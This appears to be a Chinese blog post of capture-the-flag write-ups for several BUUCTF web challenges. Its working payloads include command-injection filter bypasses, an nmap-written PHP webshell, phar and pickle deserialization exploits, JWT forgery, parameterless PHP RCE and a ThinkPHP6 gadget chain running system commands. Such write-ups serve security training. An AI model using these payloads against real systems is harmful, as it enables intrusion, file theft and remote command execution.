BUU CTF web(二)

[RoarCTF 2019]Easy Java

WEB-INF/web.xml泄露

WEB-INF主要包含一下文件或目录:

  • /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
  • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  • /WEB-INF/database.properties:数据库配置文件
  • 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

Download

当点击help的的时候,会跳转到http://61267db4-f9c8-4c27-bb24-90f51720ca54.node3.buuoj.cn/Download?filename=help.docx

而返回的信息却是java.io.FileNotFoundException:{help.docx}

换成post传入filename=WEB-INF/web.xml,下载WEB-INF_web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

看到com.wm.ctf.FlagController

传入filename=WEB-INF/classes/com/wm/ctf/FlagController.class得到class文件

FlagController
<ZmxhZ3s4N2Y1M2E0My00N2JjLTQzNTQtYTYzOS0wNGYwYzA2ZTM0NjJ9Cg==

base64解码得到flag

[GXYCTF2019]Ping Ping Ping

先传一个ip=127.0.0.1|ls试试水,发现flag.php和index.php

接着ip=127.0.0.1|cat flag.php,发现空格被ban了

命令执行绕过空格

$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%20
%09

linux命令中可以加\,当禁用cat时可以ca\t /fl\ag

先读一下index.php:ip=127.0.0.1;cat$IFS$9index.php

在这里插入图片描述

连flag的贪婪匹配都被ban了,只能用别的办法代替flag

命令执行变量拼接

ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

过滤bash用sh执行

ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行

将反引号内命令的输出作为输入执行

ip=127.0.0.1;cat$IFS$9`ls`

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

第一层:data伪协议

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

传入一个文件且内容为welcome to the zjctf,先用data协议写入文件,再用file_get_contents函数读取

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二层:php伪协议

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

读取到useless.php的内容如下:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三层:反序列化

序列化POC

<?php  
class Flag{
    public $file="flag.php";  
}  
$a = new Flag();
echo serialize($a);
?>

得到序列化数组为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:http://e85fdb29-4b66-42f4-ad10-ffcfe03c958a.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg绕过

GET传参给host变量,经过escapeshellarg()及escapeshellcmd()函数过滤之后,使用system命令执行nmap

这两个函数本是没有漏洞的,但是组合使用时,就会产生漏洞,参考链接如下:

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

这篇文章讲的非常详细,这里就只简单提一下

传入参数:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

nmap写入文件

nmap有一个参数-oG可以实现将命令和结果写到文件,我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag

最终payload:````?host=’ <?php echo `cat /flag`;?> -oG test.php '` ```

url再带上mkdir创建的目录,访问test.php即可获得flag

http://9be60af2-192d-4eb7-abdf-b8b686e864d7.node3.buuoj.cn/2fb73c2b040f6abe4d03e2053aa8aab3/test.php

[SUCTF 2019]Pythonginx

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

CVE-2019-9636:urlsplit不处理NFKC标准化

预期解

black hat 2019的一个议题,虽然我没看,但还是贴出来

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

当传入的url为http://evil.c℀.com在经过处理过后便成为了http://evil.ca/c.com

在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。

nginx重要文件位置

  • 配置文件存放目录:/etc/nginx
  • 主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
  • 管理脚本:/usr/lib64/systemd/system/nginx.service
  • 模块:/usr/lisb64/nginx/modules
  • 应用程序:/usr/sbin/nginx
  • 程序默认存放位置:/usr/share/nginx/html
  • 日志默认存放位置:/var/log/nginx

Payload

读取nginx.conf:

getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

读取flag:

getUrl?url=file://suctf.c℆sr/fffffflag

[CISCN2019 华北赛区 Day1 Web1]Dropbox

任意文件下载

随便注册一个账号登录后跳到网盘页面,只能上传图片,上传后可以下载

抓包修改filename依次读取download.php、delete.php及class.php

在这里插入图片描述

download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">𫔄犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

phar反序列化

关于这方面的知识,看看hu3sky师傅这篇文章就差不多了

https://xz.aliyun.com/t/2715#toc-16

拓展面:https://paper.seebug.org/680

<?php
// add object of any class as meta data
	class User
	{
		public $db;
	}
	class FileList
	{
		private $files;
		public function __construct()
		{
			$this->files=array(new File());
		}
	}
	class File
	{
		public $filename='/flag.txt';
	}

	$b=new FileList();
	$c=new User();
	$c->db=$b;
    
 // create new Phar
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($c);
    $phar->stopBuffering();
 ?>

把生成的phar文件上传,抓包修改为phar.gif,修改MIME类型

最后再删除,将filename改为phar://phar.gif

在这里插入图片描述

[CISCN2019 华北赛区 Day1 Web2]ikun

逻辑漏洞

ikun们爆破*站当然要买lv6啦,审查元素发现等级图标的命名为lvX.png

在这里插入图片描述

写个脚本找到lv6的号

import requests

url = "http://de62edf4-5892-49f6-9bd7-50e0d1e67b86.node3.buuoj.cn/shop?page="
for i in range(1000):
	r = requests.get(url+str(i))
	if "lv6.png" in r.text:
		print(i)
		break

最后在第181页找到lv6的账号,抓包看支付请求

在这里插入图片描述

这里只能改折扣到足够小,改到0或是改价格都会错误,改完之后跳转到b1g_m4mber页面

jwt-cookies伪造

关于JWT(Json web token)可以看下面这篇文章

https://www.jianshu.com/p/576dbf44b2ae
在这里插入图片描述

要想伪造jwt,首先要反推出私钥

在这里插入图片描述

最后伪造出admin的jwt并修改,以admin身份登录

在这里插入图片描述

F12发现hint,www.zip源码泄露/static/asd1f654e683wq/www.zip

python反序列化

payload:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

用运行得到的结果替代原有become参数,即可带出flag

在这里插入图片描述

[GXYCTF2019]禁止套娃

.git源码泄露,不再赘述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

无参数RCE

推荐两篇文章:https://www.cnblogs.com/wangtanzhi/p/12311239.html

https://www.gem-love.com/ctf/530.html#%E5%A6%82%E4%BD%95%E5%BE%97%E5%88%B0%E6%96%87%E4%BB%B6%E5%90%8Dflag.php

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))

preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。
再来看一下:(?R)?,这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)

相关函数

  • localeconv() 函数返回一包含本地数字及货币格式信息的数组
  • scandir() 列出当前目录和文件
  • readfile() 函数读取一个文件,并写入到输出缓冲
  • highlight_file() 文件高亮显示
  • next() 输出数组中的下一个元素的值
  • array_reverse() 相反的元素顺序返回数组

先扫出当前文件

print_r(scandir(current(localeconv())));
或
print_r(scandir(pos(localeconv())));

逆序返回数组

print_r(array_reverse(scandir(current(localeconv()))));

输出数组下一个元素

print_r(next(array_reverse(scandir(pos(localeconv())))));

读取flag

highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或
view-source:http://85aecbd4-ce26-4171-95b5-7c7a13006363.node3.buuoj.cn/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));

也可以随机取出元素并读取

highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

session_id(session_start())

在这里插入图片描述

[安洵杯 2019]easy_web

http://xxx/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

base64->base64->hex,解码后为555.png,尝试读取index.php

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5强碰撞

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

关于自制值相同而md5不同的数据,可以参考这篇文章https://xz.aliyun.com/t/2232

post数据如下:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

非预期:反斜杠逃逸命令执行

cmd=ca\t%20/flag

在这里插入图片描述

sort命令

cmd=sort%20/flag

Linux sort命令用于将文本文件内容加以排序。

sort可针对文本文件的内容,以行为单位来排序。

[安洵杯 2019]iamthinking

thinkphp6反序列化

www.zip拿到源码,构造thinkphp6反序列化,同时需要绕过parse_url

exp:
<?php
namespace think {

    use think\model\concern\Attribute;
    use think\model\concern\Conversion;
    use think\model\concern\RelationShip;


    abstract class Model
    {
        use Conversion;
        use RelationShip;
        use Attribute;

        private $lazySave;
        protected $table;
        public function __construct($obj)
        {
            $this->lazySave = true;
            $this->table = $obj;
            $this->visible = array(array('hu3sky'=>'aaa'));
            $this->relation = array("hu3sky"=>'aaa');
            $this->data = array("a"=>'cat /flag');
            $this->withAttr = array("a"=>"system");
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $visible;
    }

    trait RelationShip
    {
        private $relation;
    }

    trait Attribute
    {
        private $data;
        private $withAttr;
    }
}

namespace think\model {
    class Pivot extends \think\Model
    {
    }
}

namespace {
    $a = new think\model\Pivot('');
    $b = new think\model\Pivot($a);

    echo urlencode(serialize($b));
}
payload:///public/?payload=O%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3BO%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3Bs%3A0%3A""%3Bs%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7D
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章